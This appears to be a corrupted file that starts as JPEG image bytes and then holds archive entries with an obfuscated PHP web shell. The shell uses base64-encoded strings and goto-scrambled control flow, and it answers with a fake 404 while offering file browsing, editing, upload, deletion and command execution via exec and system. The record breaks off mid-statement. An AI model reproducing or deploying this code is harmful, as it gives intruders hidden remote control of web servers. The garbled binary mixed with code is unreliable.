ÿØÿà JFIF ÿÛ „ ( %"1!%)+...383,7(-.+
-+++--++++---+-+-----+---------------+---+-++7-----ÿÀ ß â" ÿÄ ÿÄ H !1AQaq"‘¡2B±ÁÑð#R“ÒTbr‚²á3csƒ’ÂñDS¢³$CÿÄ ÿÄ % !1AQa"23‘ÿÚ ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6
öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ"Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷ó²·˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz¥OÛ«!1›üä±Í™%ºÍãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%Ìòh´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ÇýÊTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆÑªQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»&
î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$ËÚsäÿ
÷Û #°xŸëí(l »ý3—¥5m!
rt`†0~'j2(]S¦¦kv,ÚÇl¦øJA£ŠƒJ3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡*….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉä¢mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ñ#ºI¤Å´%çÁ‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg
A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±bLô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U Z©RÊÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD
é©¤&‡ïDbàÁôMÁ.ÿØÿà JFIF ÿÛ „ ( %"1!%)+...383,7(-.+
-+++--++++---+-+-----+---------------+---+-++7-----ÿÀ ß â" ÿÄ ÿÄ H !1AQaq"‘¡2B±ÁÑð#R“ÒTbr‚²á3csƒ’ÂñDS¢³$CÿÄ ÿÄ % !1AQa"23‘ÿÚ ? ôÿ ¨pŸªáÿ —åYõõ\?àÒü©ŠÄï¨pŸªáÿ —åYõõ\?àÓü©ŠÄá 0Ÿªáÿ Ÿå[úƒ ú®ði~TÁbqÐ8OÕpÿ ƒOò¤Oè`–RÂáœá™êi€ßÉ< FtŸI“öÌ8úDf´°å}“¾œ6
öFá°y¥jñÇh†ˆ¢ã/ÃÐ:ªcÈ"Y¡ðÑl>ÿ ”ÏËte:qž\oäŠe÷ó²·˜HT4&ÿ ÓÐü6ö®¿øþßèô Ÿ•7Ñi’•j|“ñì>b…þS?*Óôÿ ÓÐü*h¥£ír¶ü UãS炟[AÐaè[ûª•õ&õj?†Éö+EzP—WeÒírJFt ‘BŒ†Ï‡%#tE Øz¥OÛ«!1›üä±Í™%ºÍãö]°î(–:@<‹ŒÊö×òÆt¦ãº+‡¦%Ìòh´OƒJŒtMÜ>ÀÜÊw3Y´•牋4ÇýÊTì>œú=Íwhyë,¾Ôò×õ¿ßÊa»«þˆÑªQ|%6ž™A õ%:øj<>É—ÿ Å_ˆCbõ¥š±ý¯Ýƒï…¶|RëócÍf溪“t.СøTÿ *Ä¿-{†çàczůŽ_–^XþŒ±miB[X±d 1,é”zEù»&
î9gœf™9Ð'.;—™i}!ôšåîqêÛ٤ёý£½ÆA–àôe"A$ËÚsäÿ
÷Û #°xŸëí(l »ý3—¥5m!
rt`†0~'j2(]S¦¦kv,ÚÇl¦øJA£ŠƒJ3E8ÙiŽ:cÉžúeZ°€¯\®kÖ(79«Ž:¯X”¾³Š&¡*….‰Ž(ÜíŸ2¥ª‡×Hi²TF¤ò[¨íÈRëÉä¢mgÑ.Ÿ<öäS0í„ǹÁU´f#Vß;Õ–…P@3ío<ä-±»Ž.L|kªÀê›fÂ6@»eu‚|ÓaÞÆŸ…¨ááå>åŠ?cKü6ùTÍÆ”†sĤÚ;H2RÚ†õ\Ö·Ÿn'¾ñ#ºI¤Å´%çÁ‚â7›‹qT3Iï¨ÖÚ5I7Ë!ÅOóŸ¶øÝñØôת¦$Tcö‘[«Ö³šÒ';Aþ ¸èíg
A2Z"i¸vdÄ÷.iõ®§)¿]¤À†–‡É&ä{V¶iŽ”.Ó×Õÿ û?h¬Mt–íª[ÿ Ñÿ ÌV(í}=ibÔ¡›¥¢±bLô¥‡piη_Z<‡z§èŒ)iÖwiÇ 2hÙ3·=’d÷8éŽ1¦¸c¤µ€7›7Ø ð\á)} ¹fËí›pAÃL%âc2 í§æQz¿;T8sæ°qø)QFMð‰XŒÂ±N¢aF¨…8¯!U Z©RÊÖPVÄÀÍin™Ì-GˆªÅËŠ›•zË}º±ŽÍFò¹}Uw×#ä5B¤{î}Ð<ÙD
é©¤&‡ïDbàÁôMÁ.2025/2025/2024/media/fxrs/efu/index.php 0000666 00000001361 15134004077 0012561 0 ustar 00
".$code);
?> 2025/2025/v1/dist/ndfwu/index.php 0000666 00000140142 15134004077 0011767 0 ustar 00 = 1024) { goto PQz3D; } goto pqGcV; jvYDT: hVyIg: goto s1mbs; P6h9O: $UcY4R = round($UcY4R, 3); goto Ps05p; tRQH9: if (is_file($eNhib . base64_decode("\114\x77\x3d\75") . $g9JOM)) { goto OYpz8; } goto onZ5r; pqGcV: $UcY4R = $UcY4R . base64_decode("\111\x45\164\103"); goto P4SZt; DU1g4: echo JMFDD($eNhib . base64_decode("\114\x77\75\x3d") . $g9JOM); goto nRKkj; GuBLR: echo base64_decode("\120\x43\x39\x6d\x62\x32\x35\x30\120\147\x3d\x3d"); goto jvYDT; GUz8v: JOWNL: goto tgjC0; mPHlc: if (is_writable($eNhib . base64_decode("\114\x77\75\x3d") . $g9JOM)) { goto oiNdk; } goto fh1V0; tgjC0: echo base64_decode("\120\107\x5a\x76\142\x6e\121\x67\131\62\x39\x73\142\63\x49\x39\x49\156\x4a\154\132\x43\x49\x2b"); goto r2cHw; nFCqr: echo base64_decode("\120\x47\x5a\166\x62\156\121\x67\131\x32\x39\163\142\x33\111\x39\111\155\x64\171\132\127\x56\x75\x49\x6a\64\75"); goto LJ0lU; onZ5r: goto V3k_C; goto jKyEC; s1mbs: echo base64_decode("\x50\x43\71\152\x5a\x57\x35\60\x5a\x58\x49\x2b\120\x43\71\60\132\104\x34\116\x43\151\101\x67\111\x43\x41\x67\x49\x43\x41\x67\111\x43\101\147\111\x43\x41\x67\111\x43\x41\x67\x49\103\x41\147\x50\110\x52\153\120\152\170\152\x5a\x57\x35\60\132\x58\x49\53\120\107\132\x76\143\155\x30\x67\142\x57\x56\x30\141\x47\x39\153\x50\x53\112\121\x54\x31\116\x55\111\x69\102\150\x59\63\122\160\x62\x32\x34\71\111\x6a\x39\x76\143\x48\x52\x70\142\62\x34\x6d\143\x47\x46\60\x61\x44\60\x3d") . htmlspecialchars($eNhib) . base64_decode("\111\152\64\x4e\103\x69\101\x67\111\103\101\147\x49\103\101\x67\x49\103\101\147\111\103\101\x67\111\x43\x41\x67\x49\103\101\x67\111\x43\x41\147\111\104\x78\x7a\132\127\x78\154\x59\x33\x51\x67\142\x6d\106\164\x5a\124\60\151\142\63\x42\x30\x49\152\64\x4e\x43\151\x41\x67\x49\103\101\147\x49\103\x41\147\111\x43\101\x67\x49\x43\101\147\111\103\101\147\x49\103\x41\147\x49\103\x41\x67\x49\x43\101\147\x49\x43\x41\70\142\63\102\x30\x61\x57\x39\165\x49\x48\x5a\x68\x62\110\126\x6c\120\x53\111\151\120\154\116\x6c\142\107\x56\x6a\144\x44\167\x76\142\63\x42\x30\x61\x57\71\x75\120\x67\x30\x4b\111\103\101\x67\x49\x43\101\x67\x49\103\101\x67\111\103\x41\147\x49\x43\x41\x67\x49\103\x41\x67\x49\x43\101\x67\x49\x43\x41\147\111\x43\101\x67\111\x44\x78\x76\x63\110\122\x70\x62\62\x34\147\x64\155\x46\163\144\127\125\x39\x49\155\x52\x6c\x62\107\x56\x30\132\123\x49\53\122\107\126\x73\132\130\x52\x6c\x50\x43\71\166\143\x48\x52\x70\x62\x32\64\x2b\104\x51\157\x67\x49\103\x41\147\111\x43\101\x67\111\x43\101\147\111\x43\x41\x67\111\103\101\147\x49\x43\x41\x67\x49\103\101\x67\x49\x43\101\147\x49\103\x41\x67\120\x47\71\167\144\x47\154\166\142\x69\102\62\x59\127\x78\x31\132\x54\60\151\x59\x32\x68\x74\142\x32\x51\x69\120\x6b\116\157\x62\x57\71\153\120\103\71\166\143\110\x52\160\142\x32\64\x2b\104\121\x6f\147\111\x43\x41\147\111\x43\x41\x67\x49\x43\x41\147\x49\103\x41\147\x49\103\x41\147\x49\x43\x41\147\111\x43\101\x67\111\x43\101\147\x49\103\x41\x67\x50\107\x39\x77\144\x47\x6c\166\142\x69\x42\62\131\127\x78\x31\x5a\124\x30\x69\143\155\126\165\x59\127\x31\154\x49\152\x35\123\x5a\x57\65\x68\x62\127\x55\70\x4c\x32\x39\167\144\107\154\x76\x62\152\64\116\103\x69\x41\147\111\103\x41\x67\111\x43\101\147\x49\103\101\147\111\x43\x41\147\111\x43\x41\147\x49\x43\101\147\111\x43\101\x67\x49\x43\101\147\x49\x43\x41\70\x62\x33\x42\60\141\127\71\x75\111\x48\132\150\142\110\x56\x6c\120\123\x4a\154\x5a\x47\x6c\x30\111\x6a\x35\x46\132\x47\154\60\x50\x43\x39\x76\x63\x48\x52\160\142\62\x34\x2b\104\x51\157\x67\x49\x43\x41\x67\111\x43\x41\147\x49\103\101\147\111\103\x41\147\111\103\x41\147\x49\103\101\x67\111\103\x41\x67\x49\103\101\70\114\x33\116\x6c\142\x47\x56\x6a\144\x44\x34\x4e\x43\151\101\147\111\103\101\147\x49\x43\101\147\x49\103\x41\147\111\103\x41\147\x49\103\x41\147\x49\x43\101\147\x49\x43\x41\x67\x49\x44\170\x70\142\156\x42\x31\x64\x43\x42\60\145\x58\102\x6c\x50\x53\x4a\x6f\x61\x57\x52\x6b\x5a\x57\x34\x69\x49\107\x35\150\142\x57\x55\x39\x49\x6e\122\x35\143\x47\x55\151\111\110\132\150\x62\110\126\154\120\x53\112\155\141\x57\170\x6c\x49\152\x34\116\x43\x69\x41\x67\x49\103\101\x67\x49\x43\x41\147\111\103\101\x67\x49\103\101\x67\x49\103\x41\147\111\x43\x41\x67\111\103\101\147\111\x44\170\160\x62\156\102\61\x64\x43\102\x30\x65\x58\x42\x6c\x50\123\112\157\x61\x57\122\x6b\x5a\127\x34\151\111\x47\65\150\x62\x57\125\71\111\155\65\x68\142\x57\x55\x69\111\110\x5a\x68\142\110\x56\154\x50\123\111\75") . htmlspecialchars($g9JOM) . base64_decode("\111\152\64\116\x43\x69\x41\x67\x49\103\101\x67\111\x43\x41\x67\x49\103\x41\x67\x49\103\x41\x67\x49\x43\101\147\111\x43\101\x67\x49\x43\x41\147\111\104\x78\x70\142\x6e\x42\x31\144\103\102\x30\145\x58\102\x6c\x50\123\x4a\157\x61\127\122\153\x5a\127\64\x69\111\x47\65\150\x62\127\x55\x39\111\x6e\102\x68\144\107\147\151\x49\x48\x5a\150\142\x48\126\x6c\120\x53\111\x3d") . htmlspecialchars($eNhib . base64_decode("\114\167\x3d\75") . $g9JOM) . base64_decode("\111\x6a\64\116\103\x69\x41\147\x49\103\101\x67\x49\103\101\x67\x49\x43\101\147\x49\x43\x41\147\111\x43\x41\x67\x49\x43\x41\147\x49\103\101\x67\x49\104\x78\x70\x62\156\102\x31\x64\103\x42\x30\x65\130\x42\x6c\x50\x53\112\172\x64\x57\x4a\x74\141\130\x51\x69\111\110\132\x68\x62\110\126\154\x50\x53\x49\x2b\111\152\x34\116\x43\x69\x41\147\x49\x43\x41\147\111\x43\101\147\111\x43\101\x67\111\x43\x41\x67\x49\103\x41\x67\111\x43\101\x67\120\x43\71\155\x62\x33\x4a\x74\120\x6a\x77\x76\x59\62\x56\x75\x64\x47\126\171\120\152\x77\166\x64\x47\x51\x2b\104\x51\x6f\147\x49\x43\x41\x67\x49\103\x41\x67\111\103\x41\147\111\x43\x41\147\x49\x43\x41\x67\x50\x43\71\60\x63\x6a\x34\75"); goto Frsr3; mekM_: goto mJSO4; goto OK05I; P4SZt: goto rsQZy; goto UDCzn; LmBLU: rsQZy: goto xVNH7; j8je1: $UcY4R = round($UcY4R / 1024, 2) . base64_decode("\x49\x45\x31\103"); goto LmBLU; OK05I: oiNdk: goto nFCqr; CBJji: } goto ai3Ve; XJj68: if (!($_SERVER[base64_decode("\x55\153\126\122\126\125\126\x54\x56\x46\x39\x4e\x52\x56\122\111\x54\60\x51\75")] === base64_decode("\125\x45\x39\x54\x56\101\75\75") && isset($_POST[base64_decode("\131\62\61\153")]))) { goto CoaX2; } goto xvXT7; vSUM6: ini_set(base64_decode("\x5a\107\154\x7a\x63\107\x78\x68\145\x56\x39\172\x64\107\106\x79\x64\x48\126\x77\x58\x32\x56\x79\143\x6d\x39\x79\143\167\x3d\75"), 0); goto mumEQ; QkraQ: kfgHK: goto y726V; aIwfl: if (unlink($_POST[base64_decode("\x63\107\106\x30\141\101\75\75")])) { goto q70_S; } goto WtD3B; Rx_uc: KS5_7: goto Ijc0k; aL_nE: i3gs9: goto HxdLW; nEeD2: $cFZDS = ob_get_clean(); goto aH4lR; I6JjV: erOBh: goto b0_uT; aZUG9: if (isset($_GET[base64_decode("\x5a\155\x6c\x73\x5a\130\x4e\x79\131\x77\75\75")])) { goto KS5_7; } goto syuu2; f3mhf: nkUWJ: goto Cq5Wn; terSf: goto yTohV; goto f3mhf; e7cMQ: $cFZDS = implode(base64_decode("\x43\147\x3d\75"), $EEcNs); goto HPr1V; GcVwe: if (!is_resource($xYriD)) { goto O0KrZ; } goto rjjru; pslqQ: $cFZDS = $EEcNs; goto xTKmK; spvh2: if (move_uploaded_file($_FILES[base64_decode("\132\155\154\x73\132\x51\x3d\75")][base64_decode("\x64\x47\x31\x77\130\62\65\x68\142\127\x55\75")], $eNhib . base64_decode("\x4c\x77\75\x3d") . $_FILES[base64_decode("\x5a\155\x6c\x73\x5a\x51\75\75")][base64_decode("\x62\x6d\106\164\x5a\121\75\75")])) { goto i3gs9; } goto SfDSM; Kf0H2: $eNhib = isset($_GET[base64_decode("\x63\x47\x46\x30\141\x41\x3d\x3d")]) ? $_GET[base64_decode("\143\x47\x46\x30\141\101\75\x3d")] : getcwd(); goto rRd1P; DhlnD: echo base64_decode("\x50\103\x39\152\132\127\x35\x30\x5a\130\111\x2b"); goto PswnB; UcthB: IMUZ9: goto EaM4X; J2011: echo base64_decode("\x50\x47\132\x76\x63\155\60\147\x62\127\126\x30\141\x47\x39\153\120\x53\112\121\124\x31\x4e\125\x49\152\64\x4e\x43\x69\101\147\x49\103\x41\147\x49\103\x41\x67\111\x43\x41\x67\x49\103\101\x67\111\x43\101\147\111\x43\x41\x67\124\155\126\x33\111\x45\65\150\142\x57\x55\147\x4f\x69\x41\70\x61\x57\65\167\x64\130\x51\x67\x62\155\106\x74\132\x54\60\x69\142\x6d\x56\x33\x62\155\x46\x74\132\x53\x49\147\x64\110\x6c\167\x5a\x54\60\151\x64\x47\x56\x34\x64\103\x49\147\143\62\x6c\x36\132\124\x30\x69\x4d\152\x41\x69\x49\x48\x5a\150\x62\110\x56\x6c\120\x53\x49\x3d") . htmlspecialchars($_POST[base64_decode("\142\155\106\164\x5a\x51\75\75")]) . base64_decode("\x49\x69\101\x76\x50\x67\x30\113\x49\x43\101\147\111\x43\x41\x67\111\103\x41\x67\111\103\x41\147\x49\103\101\147\111\103\101\147\x49\x43\x41\x38\141\127\65\167\x64\130\x51\x67\144\110\x6c\x77\x5a\124\x30\151\x61\x47\154\153\x5a\107\126\x75\111\151\x42\165\131\x57\x31\x6c\x50\x53\x4a\x77\x59\130\122\x6f\111\151\x42\62\x59\127\x78\61\132\124\60\151") . htmlspecialchars($_POST[base64_decode("\143\107\106\x30\141\x41\75\x3d")]) . base64_decode("\x49\152\x34\116\x43\151\101\x67\111\103\x41\147\x49\x43\101\147\x49\103\x41\147\x49\103\101\147\x49\103\101\147\111\103\x41\x67\120\107\x6c\165\143\x48\126\x30\111\110\x52\65\143\107\125\x39\x49\x6d\150\x70\x5a\107\x52\154\142\x69\111\147\142\x6d\x46\164\x5a\x54\x30\151\x62\x33\x42\60\111\x69\102\x32\x59\x57\x78\x31\x5a\x54\x30\151\x63\x6d\x56\165\x59\127\x31\x6c\x49\x6a\64\116\x43\x69\x41\147\x49\103\x41\x67\x49\103\101\147\111\103\101\147\111\x43\101\x67\111\x43\x41\147\111\103\x41\147\x50\107\x6c\165\143\x48\x56\x30\x49\x48\122\65\143\107\x55\71\x49\x6e\x4e\61\131\x6d\61\x70\x64\103\x49\x67\144\155\x46\x73\144\127\x55\71\111\153\144\x76\111\151\x41\x76\120\x67\60\x4b\111\x43\x41\147\x49\x43\x41\147\x49\103\101\147\111\103\x41\x67\x49\x43\101\147\x49\104\167\x76\x5a\x6d\x39\171\142\124\64\x3d"); goto EN3_T; OVmfU: goto erOBh; goto sq9Yt; z49ui: sYMgO: goto jY5fd; jx5j_: echo base64_decode("\120\103\71\60\131\127\112\163\x5a\124\x34\70\114\62\122\160\x64\152\x34\75"); goto HlPoC; AmOfL: fclose($k2_JX[2]); goto jcnnT; jkGJj: @header(base64_decode("\121\x32\71\165\x64\107\126\x75\144\103\61\106\142\x6d\116\166\132\107\154\x75\x5a\x7a\157\x67\x62\x6d\x39\x75\x5a\x51\x3d\75")); goto qqu6V; l6gIm: echo base64_decode("\x50\103\71\60\143\152\64\x38\114\x33\122\153\x50\x6a\167\166\144\107\106\151\x62\x47\x55\x2b\x50\107\112\171\111\103\70\x2b"); goto wXVBR; syuu2: if (isset($_GET[base64_decode("\x62\x33\102\60\x61\127\x39\x75")]) && $_POST[base64_decode("\x62\x33\x42\x30")] != base64_decode("\x5a\107\x56\x73\x5a\x58\122\x6c")) { goto lRtUn; } goto MgfvD; y726V: @exec($ptg0t, $EEcNs, $JUInb); goto FIdrG; fcEJF: if (!isset($_POST[base64_decode("\143\63\112\152")])) { goto YQAL6; } goto RXMca; bLEki: if (rmdir($_POST[base64_decode("\x63\107\106\x30\141\x41\x3d\75")])) { goto yrA3Z; } goto y3J2Y; pRpkk: echo "\x20\x20\40\x20\x20\40\40\40\x3c\x70\x72\145\x3e"; goto HmtS0; HuB03: yrA3Z: goto dDjpg; Du9nh: echo base64_decode("\x50\x47\132\166\142\x6e\121\x67\131\62\x39\163\142\63\111\71\x49\156\112\x6c\132\103\x49\x2b\x52\62\x46\x6e\131\127\167\x67\x52\x57\122\160\144\x43\102\107\x61\127\x78\154\120\103\x39\x6d\x62\x32\x35\60\120\152\170\151\x63\151\70\53"); goto YJsBa; y3J2Y: echo base64_decode("\x50\x47\132\x76\142\x6e\x51\x67\x59\x32\x39\x73\x62\x33\111\71\x49\156\112\x6c\132\x43\x49\53\x52\107\154\171\132\127\x4e\60\x62\63\112\65\111\105\x64\x68\132\62\106\x73\x49\106\x52\x6c\143\x6d\150\150\x63\x48\x56\172\120\103\71\x6d\x62\x32\65\x30\120\x6a\x78\x69\143\x69\70\53"); goto XkI3C; opjeD: goto U8L1I; goto tcUXo; SkmhB: DGV0I: goto lOYQE; gB6EX: echo base64_decode("\x50\107\132\x76\143\155\x30\147\142\x57\x56\60\x61\107\x39\x6b\120\123\x4a\x51\124\x31\116\x55\x49\x6a\64\116\x43\x69\x41\147\111\103\x41\x67\x49\103\x41\147\111\103\101\x67\x49\x43\x41\147\x49\x43\101\147\111\x43\101\147\x50\x48\x52\154\145\x48\x52\150\x63\155\x56\x68\111\107\116\x76\142\110\x4d\x39\117\x44\101\147\x63\x6d\x39\x33\143\172\60\171\115\103\x42\x75\x59\x57\x31\154\x50\123\112\x7a\x63\x6d\x4d\151\x50\147\75\x3d") . htmlspecialchars(file_get_contents($_POST[base64_decode("\143\x47\x46\60\141\x41\75\75")])) . base64_decode("\120\103\71\60\x5a\x58\150\x30\x59\130\x4a\x6c\x59\x54\64\70\131\156\111\147\114\x7a\x34\116\x43\151\x41\147\x49\x43\101\x67\111\x43\101\147\x49\x43\101\x67\x49\103\x41\x67\x49\x43\101\147\x49\x43\x41\147\120\107\x6c\165\143\x48\x56\x30\x49\x48\x52\65\143\x47\x55\x39\111\155\x68\x70\x5a\107\x52\154\x62\151\x49\x67\142\155\x46\164\x5a\x54\x30\151\x63\107\x46\60\x61\x43\x49\x67\x64\x6d\106\x73\x64\127\x55\71\111\147\75\x3d") . htmlspecialchars($_POST[base64_decode("\x63\x47\106\60\x61\101\75\x3d")]) . base64_decode("\x49\152\64\x4e\103\151\101\x67\x49\103\x41\x67\111\x43\x41\x67\x49\103\x41\147\111\103\x41\x67\111\x43\x41\x67\111\x43\101\147\x50\x47\154\x75\x63\110\126\60\x49\x48\122\x35\x63\x47\125\71\111\x6d\150\160\x5a\x47\122\154\142\x69\x49\147\x62\155\x46\164\x5a\x54\x30\151\x62\x33\102\60\x49\x69\x42\62\131\127\170\61\132\x54\60\151\132\x57\122\160\x64\x43\111\x2b\104\121\x6f\x67\x49\x43\101\x67\111\x43\x41\147\111\x43\101\x67\111\x43\x41\147\111\103\101\147\111\103\101\147\x49\104\170\x70\x62\156\x42\61\x64\x43\102\x30\x65\x58\102\x6c\x50\x53\x4a\x7a\144\x57\112\x74\x61\x58\x51\151\x49\110\x5a\150\142\110\x56\x6c\120\x53\x4a\124\x59\130\x5a\154\111\151\101\x76\x50\147\x30\x4b\111\103\101\x67\x49\x43\x41\x67\111\x43\101\x67\111\x43\x41\147\111\103\101\147\111\x44\x77\166\x5a\x6d\x39\171\x62\124\x34\75"); goto Yktzr; COytp: echo base64_decode("\x50\x43\71\x30\131\x57\112\x73\x5a\x54\x34\70\131\x6e\x49\147\x4c\x7a\x34\70\x59\62\x56\165\x64\107\126\171\x50\147\x3d\75") . htmlspecialchars($_POST[base64_decode("\143\107\x46\60\x61\101\75\x3d")]) . base64_decode("\120\x47\x4a\171\111\103\70\53\x50\x47\112\171\111\103\x38\x2b"); goto dp9zE; PswnB: $olmCy = scandir($eNhib); goto TQ6vz; SFhpo: mon3x: goto fcEJF; j0zIU: @system($ptg0t, $JUInb); goto qpJOJ; YJsBa: goto kErGv; goto pigTC; u8RPw: roR1K: goto hhwYZ; zzI3D: goto erOBh; goto QkraQ; XkI3C: goto sYMgO; goto HuB03; Or0IH: ini_set(base64_decode("\x62\127\x46\64\130\62\x56\64\x5a\127\116\61\x64\107\x6c\x76\x62\154\x39\x30\x61\x57\x31\x6c"), 0); goto Qg6iu; CGZO4: goto YrXO6; goto SH23i; lhEMS: foreach ($D70ge as $lIIXS => $WfObz) { goto ASX3O; fdS71: irPAP: goto ClEd0; YBkXb: jUTL5: goto WQyHY; pR2sv: goto pTxr2; goto gTHAX; EhXT8: xvlHB: goto CIs2i; qvQBl: $Ew_Uk = true; goto RHV5_; gTHAX: Ldqoa: goto cOKcb; RHV5_: echo base64_decode("\120\107\x45\147\141\x48\x4a\154\132\152\x30\x69\120\63\102\150\x64\x47\x67\71\x4c\171\x49\x2b\x4c\172\x77\x76\x59\124\x34\x3d"); goto alxLh; mqwkI: if (!($NBibc != $lIIXS)) { goto irPAP; } goto aNHQ3; aNHQ3: echo base64_decode("\114\x77\75\75"); goto fdS71; CIs2i: echo base64_decode("\x49\x6a\x34\75") . $WfObz . base64_decode("\120\x43\71\x68\120\x69\x38\x3d"); goto R88Ab; FkXSC: $NBibc++; goto UbaaX; Wgdti: echo "{$D70ge[$NBibc]}"; goto mqwkI; WQyHY: if (!($NBibc <= $lIIXS)) { goto xvlHB; } goto Wgdti; UbaaX: goto jUTL5; goto EhXT8; cOKcb: echo base64_decode("\x50\107\x45\x67\141\110\x4a\x6c\x5a\152\60\x69\120\x33\102\x68\144\x47\147\x39"); goto snaU2; ASX3O: if (!($WfObz == '' && $lIIXS == 0)) { goto FoaYX; } goto qvQBl; Dkmx1: if (!($WfObz == '')) { goto Ldqoa; } goto pR2sv; gF6Zl: FoaYX: goto Dkmx1; ClEd0: eSlSs: goto FkXSC; alxLh: goto pTxr2; goto gF6Zl; snaU2: $NBibc = 0; goto YBkXb; R88Ab: pTxr2: goto KJScT; KJScT: } goto Uooir; ai3Ve: BzMVs: goto jx5j_; aH4lR: goto erOBh; goto LlnUN; FOCcW: if ($_POST[base64_decode("\142\63\102\60")] == base64_decode("\x5a\x57\122\x70\x64\x41\x3d\75")) { goto mon3x; } goto OpG71; rRd1P: $eNhib = str_replace(base64_decode("\x58\106\167\x3d"), base64_decode("\114\x77\x3d\x3d"), $eNhib); goto spvza; HU3sV: tH4Xk: goto DhlnD; VpP7L: http_response_code(404); goto Or0IH; UHTmS: echo base64_decode("\x50\x43\71\152\132\x57\x35\60\132\x58\x49\53"); goto Z8Ra4; HPr1V: iZF_7: goto QN3hg; rjjru: fclose($k2_JX[0]); goto nVJmm; XFeW5: oUWKl: goto SkmhB; Uooir: DNQfq: goto ooLWI; spvza: $D70ge = explode(base64_decode("\114\167\x3d\75"), $eNhib); goto lhEMS; uJDfF: $WXIzl = stream_get_contents($k2_JX[2]); goto AmOfL; dDjpg: echo base64_decode("\120\x47\132\166\142\x6e\x51\147\131\62\71\x73\142\63\x49\71\x49\155\x64\x79\x5a\x57\x56\x75\x49\x6a\x35\x45\141\130\112\154\x59\63\x52\x76\143\x6e\153\x67\126\107\126\x79\141\107\106\x77\x64\130\x4d\70\114\62\132\x76\x62\x6e\121\x2b\120\x47\112\x79\114\172\64\x3d"); goto z49ui; zwcaK: SoHLa: goto wIGQj; U7i4p: q70_S: goto Ek3Vl; Qg6iu: ini_set(base64_decode("\x5a\107\x6c\172\x63\107\170\x68\145\x56\x39\154\x63\156\x4a\x76\x63\x6e\115\75"), 0); goto vSUM6; TQ6vz: echo base64_decode("\120\x47\122\x70\x64\x69\102\160\x5a\x44\60\151\131\x32\71\x75\x64\x47\126\165\x64\103\x49\53\120\x48\122\150\131\x6d\170\x6c\111\x48\x64\160\x5a\x48\122\157\x50\x53\x49\x33\x4d\104\101\151\111\x47\x4a\166\143\155\122\154\x63\x6a\x30\x69\115\103\x49\147\131\62\126\x73\142\110\x42\150\132\x47\x52\160\142\x6d\143\71\111\x6a\115\151\111\x47\116\x6c\142\x47\x78\x7a\x63\x47\106\x6a\141\x57\65\156\x50\123\111\x78\111\151\102\150\142\107\154\156\x62\x6a\60\x69\x59\x32\126\x75\144\x47\126\x79\111\152\x34\116\103\x69\101\x67\111\x43\101\x67\x49\x43\101\x67\x49\x43\x41\147\x49\103\101\147\x49\103\101\70\144\110\x49\147\x59\62\170\150\x63\x33\x4d\x39\111\155\132\160\143\156\x4e\60\111\152\x34\x4e\x43\151\101\x67\111\x43\101\x67\x49\103\101\147\111\x43\101\x67\x49\103\101\147\x49\103\x41\147\111\x43\x41\x67\x50\x48\x52\x6b\120\x6a\x78\152\x5a\127\x35\x30\x5a\x58\111\x2b\x54\x6d\106\x74\132\x54\167\x76\x59\x32\x56\165\144\107\x56\171\120\152\x77\166\x64\107\x51\53\x44\121\157\x67\111\x43\101\x67\x49\103\101\x67\111\103\x41\x67\x49\x43\101\147\x49\103\x41\x67\111\103\101\x67\111\104\x78\x30\x5a\x44\x34\x38\131\62\x56\165\144\x47\x56\171\120\x6c\116\x70\145\155\x55\x38\x4c\62\x4e\154\x62\x6e\x52\154\143\152\64\70\114\63\x52\x6b\x50\x67\60\x4b\x49\103\x41\147\x49\x43\x41\147\x49\x43\101\147\111\x43\101\x67\x49\x43\x41\147\111\x43\x41\147\x49\103\x41\x38\x64\x47\121\x2b\x50\x47\x4e\x6c\x62\156\122\154\x63\152\x35\121\x5a\130\112\164\141\130\x4e\172\x61\127\x39\x75\x50\103\71\x6a\132\127\x35\60\132\x58\x49\x2b\x50\x43\x39\x30\132\x44\x34\x4e\103\151\x41\x67\111\x43\101\147\111\103\101\x67\111\x43\x41\147\x49\103\101\147\x49\103\x41\x67\x49\x43\x41\147\x50\x48\122\x6b\x50\x6a\x78\x6a\132\x57\x35\x30\x5a\x58\x49\x2b\x54\x57\x39\153\x61\x57\x5a\x35\120\103\x39\152\x5a\127\x35\60\132\x58\111\x2b\x50\x43\x39\x30\132\104\64\116\x43\151\101\147\x49\103\101\147\111\x43\101\x67\111\x43\x41\x67\111\x43\x41\147\x49\103\101\70\x4c\x33\x52\171\120\147\75\x3d"); goto UOXAk; koubu: echo 